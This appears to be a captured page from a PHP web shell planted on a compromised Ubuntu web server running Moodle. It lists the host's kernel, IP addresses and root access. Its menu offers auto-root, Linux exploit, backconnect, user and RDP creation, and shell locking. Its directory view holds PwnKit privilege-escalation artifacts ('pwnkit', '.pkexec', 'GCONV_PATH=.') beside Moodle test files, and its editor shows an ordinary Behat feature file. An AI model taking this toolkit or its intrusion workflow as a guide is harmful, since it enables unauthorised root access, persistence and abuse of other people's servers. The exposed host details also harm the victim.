Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
user /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_blocks.feature
865
B
-rwxrwxrwx
addnewuser.feature
827
B
-rwxrwxrwx
behat_user.php
4.39
KB
-rwxrwxrwx
bulk_editenrolment.feature
2.93
KB
-rwxrwxrwx
bulk_message.feature
1.49
KB
-rwxrwxrwx
course_preference.feature
1.47
KB
-rwxrwxrwx
custom_profile_fields.feature
10.78
KB
-rwxrwxrwx
delete_users.feature
4.62
KB
-rwxrwxrwx
edit_user_enrolment.feature
6.83
KB
-rwxrwxrwx
edit_user_roles.feature
1.62
KB
-rwxrwxrwx
edituserpassword.feature
874
B
-rwxrwxrwx
enrol_cohort_list.feature
2.2
KB
-rwxrwxrwx
filter_idnumber.feature
3.18
KB
-rwxrwxrwx
filter_participants.feature
46.55
KB
-rwxrwxrwx
filter_participants_showall.fe...
6.73
KB
-rwxrwxrwx
full_name_display.feature
4.68
KB
-rwxrwxrwx
hidden_user_fields.feature
2.09
KB
-rwxrwxrwx
input-purpose.feature
2
KB
-rwxrwxrwx
name_fields.feature
3.02
KB
-rwxrwxrwx
participants_in_group_modes.fe...
9.9
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
reset_page.feature
915
B
-rwxrwxrwx
set_default_homepage.feature
2.54
KB
-rwxrwxrwx
set_email_display.feature
3.25
KB
-rwxrwxrwx
table_column_visibility.featur...
2.44
KB
-rwxrwxrwx
table_sorting.feature
3
KB
-rwxrwxrwx
user_grade_navigation.feature
4.56
KB
-rwxrwxrwx
view_full_profile.feature
5.11
KB
-rwxrwxrwx
view_participants.feature
15.19
KB
-rwxrwxrwx
view_participants_groups.featu...
3.38
KB
-rwxrwxrwx
view_preferences_page.feature
3.35
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : custom_profile_fields.feature
@core @core_user Feature: Custom profile fields should be visible and editable by those with the correct permissions. Background: Given the following "users" exist: | username | firstname | lastname | email | | userwithinformation | userwithinformation | 1 | userwithinformation@example.com | And the following "courses" exist: | fullname | shortname | category | groupmode | | Course 1 | C1 | 0 | 1 | And the following "course enrolments" exist: | user | course | role | | userwithinformation | C1 | student | And the following config values are set as admin: | registerauth | email | And I log in as "admin" And I navigate to "Users > Accounts > User profile fields" in site administration And I set the field "datatype" to "Text input" And I set the following fields to these values: | Short name | notvisible_field | | Name | notvisible_field | | Display on signup page? | Yes | | Who is this field visible to? | Not visible | And I click on "Save changes" "button" And I set the field "datatype" to "Text input" And I set the following fields to these values: | Short name | uservisible_field | | Name | uservisible_field | | Display on signup page? | Yes | | Who is this field visible to? | Visible to user | And I click on "Save changes" "button" And I set the field "datatype" to "Text input" And I set the following fields to these values: | Short name | everyonevisible_field | | Name | everyonevisible_field | | Display on signup page? | No | | Who is this field visible to? | Visible to everyone | And I click on "Save changes" "button" And I navigate to "Users > Accounts > Browse list of users" in site administration And I click on ".icon[title=Edit]" "css_element" in the "userwithinformation@example.com" "table_row" And I expand all fieldsets And I set the field "notvisible_field" to "notvisible_field_information" And I set the field "uservisible_field" to "uservisible_field_information" And I set the field "everyonevisible_field" to "everyonevisible_field_information" And I click on "Update profile" "button" And I log out @javascript Scenario: Visible custom profile fields can be part of the sign up form for anonymous users. Given I am on site homepage And I follow "Log in" When I press "Create new account" And I expand all fieldsets Then I should not see "notvisible_field" And I should see "uservisible_field" And I should not see "everyonevisible_field" @javascript Scenario: Visible custom profile fields can be part of the sign up form for guest users. Given I log in as "guest" And I am on site homepage And I follow "Log in" When I press "Create new account" And I expand all fieldsets Then I should not see "notvisible_field" And I should see "uservisible_field" And I should not see "everyonevisible_field" @javascript Scenario: User with moodle/user:update but without moodle/user:viewalldetails can only update visible profile fields. Given the following "roles" exist: | name | shortname | description | archetype | | Update Users | updateusers | updateusers | | And the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | moodle/user:update | Allow | updateusers | System | | And the following "users" exist: | username | firstname | lastname | email | | user_updateusers | updateusers | 1 | updateusers@example.com | And the following "role assigns" exist: | user | role | contextlevel | reference | | user_updateusers | updateusers | System | | And the following "course enrolments" exist: | user | course | role | | user_updateusers | C1 | editingteacher | And I log in as "user_updateusers" And I am on "Course 1" course homepage And I navigate to course participants And I follow "userwithinformation 1" Then I should see "everyonevisible_field" And I should see "everyonevisible_field_information" And I should not see "uservisible_field" And I should not see "uservisible_field_information" And I should not see "notvisible_field" And I should not see "notvisible_field_information" And I follow "Edit profile" And the following fields match these values: | everyonevisible_field | everyonevisible_field_information | And I should not see "uservisible_field" And I should not see "notvisible_field" @javascript Scenario: User with moodle/user:viewalldetails but without moodle/user:update can view all profile fields. Given the following "roles" exist: | name | shortname | description | archetype | | View All Details | viewalldetails | viewalldetails | | And the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | moodle/user:viewalldetails | Allow | viewalldetails | System | | And the following "users" exist: | username | firstname | lastname | email | | user_viewalldetails | viewalldetails | 1 | viewalldetails@example.com | And the following "role assigns" exist: | user | role | contextlevel | reference | | user_viewalldetails | viewalldetails | System | | And the following "course enrolments" exist: | user | course | role | | user_viewalldetails | C1 | editingteacher | And I log in as "user_viewalldetails" And I am on "Course 1" course homepage And I navigate to course participants And I follow "userwithinformation 1" Then I should see "everyonevisible_field" And I should see "everyonevisible_field_information" And I should see "uservisible_field" And I should see "uservisible_field_information" And I should see "notvisible_field" And I should see "notvisible_field_information" And I should not see "Edit profile" @javascript Scenario: User with moodle/user:viewalldetails and moodle/user:update capabilities can view and edit all profile fields. Given the following "roles" exist: | name | shortname | description | archetype | | View All Details and Update Users | viewalldetailsandupdateusers | viewalldetailsandupdateusers | | And the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | moodle/user:viewalldetails | Allow | viewalldetailsandupdateusers | System | | | moodle/user:update | Allow | viewalldetailsandupdateusers | System | | And the following "users" exist: | username | firstname | lastname | email | | user_viewalldetailsandupdateusers | viewalldetailsandupdateusers | 1 | viewalldetailsandupdateusers@example.com | And the following "role assigns" exist: | user | role | contextlevel | reference | | user_viewalldetailsandupdateusers | viewalldetailsandupdateusers | System | | And the following "course enrolments" exist: | user | course | role | | user_viewalldetailsandupdateusers | C1 | editingteacher | And I log in as "user_viewalldetailsandupdateusers" And I am on "Course 1" course homepage And I navigate to course participants And I follow "userwithinformation 1" Then I should see "everyonevisible_field" And I should see "everyonevisible_field_information" And I should see "uservisible_field" And I should see "uservisible_field_information" And I should see "notvisible_field" And I should see "notvisible_field_information" And I follow "Edit profile" And the following fields match these values: | everyonevisible_field | everyonevisible_field_information | | uservisible_field | uservisible_field_information | | notvisible_field | notvisible_field_information | @javascript Scenario: Users can view and edit custom profile fields except those marked as not visible. Given I log in as "userwithinformation" And I follow "Profile" in the user menu Then I should see "everyonevisible_field" And I should see "everyonevisible_field_information" And I should see "uservisible_field" And I should see "uservisible_field_information" And I should not see "notvisible_field" And I should not see "notvisible_field_information" And I click on "Edit profile" "link" in the "region-main" "region" Then the following fields match these values: | everyonevisible_field | everyonevisible_field_information | | uservisible_field | uservisible_field_information | And I should not see "notvisible_field" And I should not see "notvisible_field_information" @javascript Scenario: Users can view but not edit custom profile fields when denied the edit own profile capability. Given the following "roles" exist: | name | shortname | description | archetype | | Deny editownprofile | denyeditownprofile | denyeditownprofile | | And the following "permission overrides" exist: | capability | permission | role | contextlevel | reference | | moodle/user:editownprofile | Prohibit | denyeditownprofile | System | | And the following "role assigns" exist: | user | role | contextlevel | reference | | userwithinformation | denyeditownprofile | System | | And I log in as "userwithinformation" And I follow "Profile" in the user menu Then I should see "everyonevisible_field" And I should see "everyonevisible_field_information" And I should see "uservisible_field" And I should see "uservisible_field_information" And I should not see "notvisible_field" And I should not see "notvisible_field_information" And I should not see "Edit profile"
Close